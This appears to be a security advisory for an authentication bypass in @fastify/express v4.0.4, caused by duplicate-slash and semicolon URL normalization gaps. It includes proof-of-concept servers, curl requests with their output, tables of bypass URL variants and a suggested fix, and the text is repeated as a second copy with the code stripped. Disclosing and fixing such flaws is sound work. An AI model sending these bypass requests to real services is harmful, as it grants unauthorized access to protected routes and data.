Summary
@fastify/express v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:
- Duplicate slashes (
//admin/dashboard) when ignoreDuplicateSlashes: true is configured
- Semicolon delimiters (
/admin;bypass) when useSemicolonDelimiter: true is configured
In both cases, Fastify's router normalizes the URL and matches the route, but @fastify/express passes the original un-normalized URL to Express middleware, which fails to match and is skipped.
Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in @fastify/middie via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but @fastify/express does not include the equivalent fixes.
Details
The vulnerability exists in @fastify/express's enhanceRequest function (index.js lines 43-46):
const decodedUrl = decodeURI(url)
req.raw.url = decodedUrl
The decodeURI() function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, find-my-way applies these normalizations during route matching, but @fastify/express passes the original URL to Express middleware.
Vector 1: Duplicate Slashes
When ignoreDuplicateSlashes: true is set, Fastify's find-my-way router normalizes //admin/dashboard to /admin/dashboard for route matching. However, Express middleware receives //admin/dashboard. Express's app.use('/admin', authMiddleware) expects paths to start with /admin/, but //admin does not match the /admin prefix pattern.
The attack sequence:
- Client sends
GET //admin/dashboard
- Fastify's router normalizes this to
/admin/dashboard and finds a matching route
enhanceRequest sets req.raw.url = "//admin/dashboard" (preserves double slash)
- Express middleware
app.use('/admin', authMiddleware) does not match //admin prefix
- Authentication is bypassed, and the Fastify route handler executes
Vector 2: Semicolon Delimiters
When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.
Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.
The attack flow:
- Request
GET /admin;bypass arrives
- Fastify router: splits at
; — matches route GET /admin
- Express middleware: regex
/^\/admin\/?(?=\/|$)/i fails against /admin;bypass — middleware skipped
- Route handler executes without authentication checks
PoC
Duplicate Slash Bypass
Save as server.js and run with node server.js:
const fastify = require('fastify')
async function start() {
const app = fastify({
logger: false,
ignoreDuplicateSlashes: true, // documented Fastify option
})
await app.register(require('@fastify/express'))
// Standard Express middleware auth pattern
app.use('/admin', function expressAuthGate(req, res, next) {
const auth = req.headers.authorization
if (!auth || auth !== 'Bearer admin-secret-token') {
res.statusCode = 403
res.setHeader('content-type', 'application/json')
res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))
return
}
next()
})
// Protected route
app.get('/admin/dashboard', async (request) => {
return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }
})
await app.listen({ port: 3000 })
console.log('Listening on http://localhost:3000')
}
start()
# Normal access — blocked by Express middleware
$ curl -s http://localhost:3000/admin/dashboard
{"error":"Forbidden by Express middleware"}
# Double-slash bypass — Express middleware skipped, handler runs
$ curl -s http://localhost:3000//admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}
# Triple-slash also works
$ curl -s http://localhost:3000///admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}
Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.
Semicolon Bypass
const fastify = require('fastify')
const http = require('http')
function get(port, url) {
return new Promise((resolve, reject) => {
http.get('http://localhost:' + port + url, (res) => {
let data = ''
res.on('data', (chunk) => data += chunk)
res.on('end', () => resolve({ status: res.statusCode, body: data }))
}).on('error', reject)
})
}
async function test() {
const app = fastify({
logger: false,
routerOptions: { useSemicolonDelimiter: true }
})
await app.register(require('@fastify/express'))
// Auth middleware blocking unauthenticated access
app.use('/admin', function(req, res, next) {
if (!req.headers.authorization) {
res.statusCode = 403
res.setHeader('content-type', 'application/json')
res.end(JSON.stringify({ error: 'Forbidden' }))
return
}
next()
})
app.get('/admin', async () => ({ secret: 'classified-info' }))
await app.listen({ port: 19900, host: '0.0.0.0' })
// Blocked:
let r = await get(19900, '/admin')
console.log('/admin:', r.status, r.body)
// Output: /admin: 403 {"error":"Forbidden"}
// BYPASS:
r = await get(19900, '/admin;bypass')
console.log('/admin;bypass:', r.status, r.body)
// Output: /admin;bypass: 200 {"secret":"classified-info"}
r = await get(19900, '/admin;')
console.log('/admin;:', r.status, r.body)
// Output: /admin;: 200 {"secret":"classified-info"}
await app.close()
}
test()
Actual output:
/admin: 403 {"error":"Forbidden"}
/admin;bypass: 200 {"secret":"classified-info"}
/admin;: 200 {"secret":"classified-info"}
The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.
Impact
Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.
Duplicate slash vector affects applications that:
- Use
@fastify/express with ignoreDuplicateSlashes: true
- Rely on Express middleware for authentication/authorization
- Use path-scoped middleware patterns like
app.use('/admin', authMiddleware)
Semicolon vector affects applications that:
- Use
@fastify/express with useSemicolonDelimiter: true (commonly enabled for Java application server compatibility, e.g., handling ;jsessionid= parameters)
- Rely on Express middleware for authentication/authorization
- Use path-scoped middleware patterns like
app.use('/admin', authMiddleware)
The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.
The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.
Affected Versions
@fastify/express v4.0.4 (latest) with Fastify 5.x
- Requires
ignoreDuplicateSlashes: true or useSemicolonDelimiter: true in Fastify configuration (via top-level option or routerOptions)
Variant Testing
Duplicate slashes:
| Request |
Express Middleware |
Handler Runs |
Result |
GET /admin/dashboard |
Invoked (blocks) |
No |
403 Forbidden |
GET //admin/dashboard |
Skipped |
Yes |
200 OK — BYPASS |
GET ///admin/dashboard |
Skipped |
Yes |
200 OK — BYPASS |
GET /.//admin/dashboard |
Skipped |
Yes |
200 OK — BYPASS |
GET //admin//dashboard |
Skipped |
Yes |
200 OK — BYPASS |
GET /admin//dashboard |
Invoked (blocks) |
No |
403 Forbidden |
Semicolons:
| URL |
Express MW Fires |
Route Matches |
Result |
/admin |
Yes |
Yes (200/403) |
Normal |
/admin; |
No |
Yes (200) |
BYPASS |
/admin;bypass |
No |
Yes (200) |
BYPASS |
/admin;x=1 |
No |
Yes (200) |
BYPASS |
/admin;/dashboard |
No |
Yes (200, routes to /admin) |
BYPASS |
/admin/dashboard;x |
Yes |
Yes (routes to /admin/dashboard) |
Normal (prefix /admin/ still matches) |
The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.
Suggested Fix
@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:
- When
ignoreDuplicateSlashes is enabled, apply FindMyWay.removeDuplicateSlashes() to req.raw.url before middleware execution
- When
useSemicolonDelimiter is enabled, strip semicolon-delimited parameters from the URL before passing to Express
This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().
References
Summary
@fastify/expressv4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors://admin/dashboard) whenignoreDuplicateSlashes: trueis configured/admin;bypass) whenuseSemicolonDelimiter: trueis configuredIn both cases, Fastify's router normalizes the URL and matches the route, but
@fastify/expresspasses the original un-normalized URL to Express middleware, which fails to match and is skipped.Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in
@fastify/middievia GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but@fastify/expressdoes not include the equivalent fixes.Details
The vulnerability exists in
@fastify/express'senhanceRequestfunction (index.jslines 43-46):The
decodeURI()function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled,find-my-wayapplies these normalizations during route matching, but@fastify/expresspasses the original URL to Express middleware.Vector 1: Duplicate Slashes
When
ignoreDuplicateSlashes: trueis set, Fastify'sfind-my-wayrouter normalizes//admin/dashboardto/admin/dashboardfor route matching. However, Express middleware receives//admin/dashboard. Express'sapp.use('/admin', authMiddleware)expects paths to start with/admin/, but//admindoes not match the/adminprefix pattern.The attack sequence:
GET //admin/dashboard/admin/dashboardand finds a matching routeenhanceRequestsetsreq.raw.url = "//admin/dashboard"(preserves double slash)app.use('/admin', authMiddleware)does not match//adminprefixVector 2: Semicolon Delimiters
When
useSemicolonDelimiter: trueis configured, the router usesfind-my-way'ssafeDecodeURI()which treats semicolons as query string delimiters, splitting/admin;bypassinto path/adminand querystringbypassfor route matching. However,@fastify/expresspasses the full URL/admin;bypassto Express middleware.Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like
/adminto the regex/^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.The attack flow:
GET /admin;bypassarrives;— matches routeGET /admin/^\/admin\/?(?=\/|$)/ifails against/admin;bypass— middleware skippedPoC
Duplicate Slash Bypass
Save as
server.jsand run withnode server.js:Multiple variants work:
///admin,/.//admin,//admin//dashboard, etc.Semicolon Bypass
Actual output:
The semicolon bypass works with any text after it:
/admin;,/admin;x,/admin;jsessionid=123.Impact
Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.
Duplicate slash vector affects applications that:
@fastify/expresswithignoreDuplicateSlashes: trueapp.use('/admin', authMiddleware)Semicolon vector affects applications that:
@fastify/expresswithuseSemicolonDelimiter: true(commonly enabled for Java application server compatibility, e.g., handling;jsessionid=parameters)app.use('/admin', authMiddleware)The bypass works against all Express middleware that uses prefix path matching, including popular packages like
express-basic-auth, custom authentication middleware, and rate limiting middleware.The
ignoreDuplicateSlashesanduseSemicolonDelimiteroptions are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.Affected Versions
@fastify/expressv4.0.4 (latest) with Fastify 5.xignoreDuplicateSlashes: trueoruseSemicolonDelimiter: truein Fastify configuration (via top-level option orrouterOptions)Variant Testing
Duplicate slashes:
GET /admin/dashboardGET //admin/dashboardGET ///admin/dashboardGET /.//admin/dashboardGET //admin//dashboardGET /admin//dashboardSemicolons:
/admin/admin;/admin;bypass/admin;x=1/admin;/dashboard/admin/dashboard;xThe semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g.,
/admin/dashboard;x), Express's prefix regex succeeds because the/admin/part matches before the semicolon appears.Suggested Fix
@fastify/expressshould normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:ignoreDuplicateSlashesis enabled, applyFindMyWay.removeDuplicateSlashes()toreq.raw.urlbefore middleware executionuseSemicolonDelimiteris enabled, strip semicolon-delimited parameters from the URL before passing to ExpressThis would match the normalization behavior that
@fastify/middiealready implements viasanitizeUrlPath()andnormalizePathForMatching().References